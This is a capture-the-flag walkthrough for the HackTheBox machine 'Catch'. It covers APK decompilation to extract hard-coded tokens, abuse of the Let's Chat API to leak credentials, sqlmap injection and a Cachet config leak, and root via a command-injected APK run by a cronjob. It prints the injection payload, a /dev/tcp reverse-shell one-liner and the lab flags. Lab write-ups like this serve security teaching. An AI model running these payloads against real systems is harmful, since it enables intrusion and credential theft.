HackTheBox: Catch

SPOILER WARNING: This page will contain potential spoilers, so consider that before continuing Catch is a great example of applying basic APK reversing and CVE exploitation. It's an application that's intended to integrate Gitea and Let's Chat and makes the mistake of using hard-coded credentials and an insecure dashboard. MACHINE INFO ────────────────────────── MACHINE NAME: Catch IP: 10.10.11.150 DIFFICULTY: Medium ────────────────────────── Starting with an Nmap scan revealed a number of services running on the target. nmap ─────────────────────────────────────────────────────────────────────────────── PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu)) 3000/tcp open ppp? syn-ack 5000/tcp open upnp? syn-ack ─────────────────────────────────────────────────────────────────────────────── Interestingly, there were two different Apache services, both on different versions, as well as another two ports that were not identified. Cookies fetched by an Nmap script showed that there was a Gitea server running on port 3000. But the other ports were still unknown. nmap ───────────────────────────────────────────────────────────── Set-Cookie: i_like_gitea=a9634c3d8acdc09d; Path=/; HttpOnly ───────────────────────────────────────────────────────────── Opening each of the pages in a web browser helped to identify these other services. The main page on port 80 was a simple landing page for 'Catch Global Systems', allowing the user to download an APK file. This would have to be further investigated. Port 3000 was running Gitea version 1.14.1 with Go 1.16.3 and port 5000 was running Let's Chat. Both of these were locked with passwords and default credentials did not work. The last page of interest was a monitoring dashboard running on port 8000 which appeared to be based on Cachet 2.4. Some background research found a few different CVEs which could be useful however they all required an authenticated user and would not be useable at this point. Going back to the APK that was found, Apktool can be used to decompile the binary so that the source code can be browsed as a regular directory. apktool ─────────────────────────── apktool d ./catchv1.0.apk ─────────────────────────── According to the landing page that was found earlier, "The future enhancements [include] Lets-chat/Gitea integration", hinting that there could be API keys or hard-coded credentials in the application to integrate these services. After looking around, there was one file that stood out based on its contents. ls ───────────────────────────────── original/res/values/strings.xml ───────────────────────────────── This file contained variables controlling the application name among other things as well as 3 different API keys; Gitea, Let's Chat and Slack. tokens ─────────────────────────────────────────────────────────────────────────────── b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0 NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZj hiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ== xoxp-23984754863-2348975623103 ─────────────────────────────────────────────────────────────────────────────── Of the 3 tokens, only one seemed to work, which was Let's Chat. Following the API documentation on Github, Curl could be used to fetch the open rooms. curl ─────────────────────────────────────────────────────────────────────────────── curl -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZj hiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -i http://10.10.11.150:5000/rooms 61b86b28d984e2451036eb17 Status 61b8708efe190b466d476bfb Android Development 61b86b3fd984e2451036eb18 Employees ─────────────────────────────────────────────────────────────────────────────── And this information could be used to then read messages from the rooms. curl ─────────────────────────────────────────────────────────────────────────────── curl -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZj hiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -i http://10.10.11.150:5000/rooms/61b86b28d984e2451036eb17/messages "ah sure!" "You should actually include this task to your list as well as a part of quarterly audit" "Also make sure we've our systems, applications and databases up-to-date." "Excellent!" "Why not. We've this in our todo list for next quarter" "@john is it possible to add SSL to our status domain to make sure everything is secure ?" "Here are the credentials `john : E}V!mywu_69T4C}W`" "Sure one sec." "Can you create an account for me ?" "Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me." ─────────────────────────────────────────────────────────────────────────────── This conversation revealed some credentials for the status page on port 8000. Testing these credentials on other pages showed that they are only used on this one page. creds ─────────────────────────────────────────────────────── "Here are the credentials `john : E}V!mywu_69T4C}W`" ─────────────────────────────────────────────────────── Using SQLMap, it was possible to dump some more API keys from the database however they did not end up being necessary. sqlmap ─────────────────────────────────────────────────────────────────────────────── sqlmap -u "http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a &1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+" --dbms=mysql -D cachet -T users -C api_key,username --dump +----------------------+----------+ | api_key | username | +----------------------+----------+ | 7GVCqTY5abrox48Nct8j | john | | rMSN8kJN9TPADl2cWv8N | admin | +----------------------+----------+ ─────────────────────────────────────────────────────────────────────────────── Instead, using a CVE for Cachet 2.4, detailed in this blog post, it was possible to dump the username and password of the configured MySQL database user. Inputting these strings into the 'Mail From Address' field under settings and mail, and refreshing the page, returned the name and password of the user. cachet ────────────────────────────── ${DB_USERNAME} = will ${DB_PASSWORD} = s2#4Fg0_%3! ────────────────────────────── Now finally, with this information it is possible to connect with SSH and login as Will to read the user flag. flag ───────────────────────────────────────────── User Flag: 794e64d1eb9b77178f53792d5a0b60e8 ───────────────────────────────────────────── The server was running a wildcard cronjob to execute the APKs in /opt/mdm/apk_bin so it was possible to recompile the apk with shellcode which would be run as a privileged user. Adding the shellcode to "app_name" gave arbitrary code execution which could be used to start a reverse shell. reverse shell ──────────────────────────────────────────────────── /bin/bash -l > /dev/tcp/10.10.14.98/9001 0<&1 2>&1 ──────────────────────────────────────────────────── This means the strings.xml (with its base64 encoded shell code) would look something like this. strings.xml ─────────────────────────────────────────────────────────────────────────────── Catch; echo L2Jpbi9iYXNoIC1sID4gL2Rldi90Y3AvMTAuMTAuM TQuOTgvOTAwMSAwPCYxIDI+JjEK| base64 -d | bash -i ─────────────────────────────────────────────────────────────────────────────── And a reverse listener could be started using Netcat on the local machine before uploading the APK to the server. netcat and scp ───────────────────────────────────────────────── nc -lvp 9001 scp out.apk will@10.10.11.150:/opt/mdm/apk_bin/ ───────────────────────────────────────────────── netcat ───────────────────────────────────────────────────────────────────── listening on [any] 9001 ... connect to [10.10.14.98] from status.catch.htb [10.10.11.150] 36122 > id uid=0(root) gid=0(root) groups=0(root) > ls Catch lets-chat mdm reset.sh root.txt run.sh > cat root.txt ─────────────────────────────────────────────────────────────────────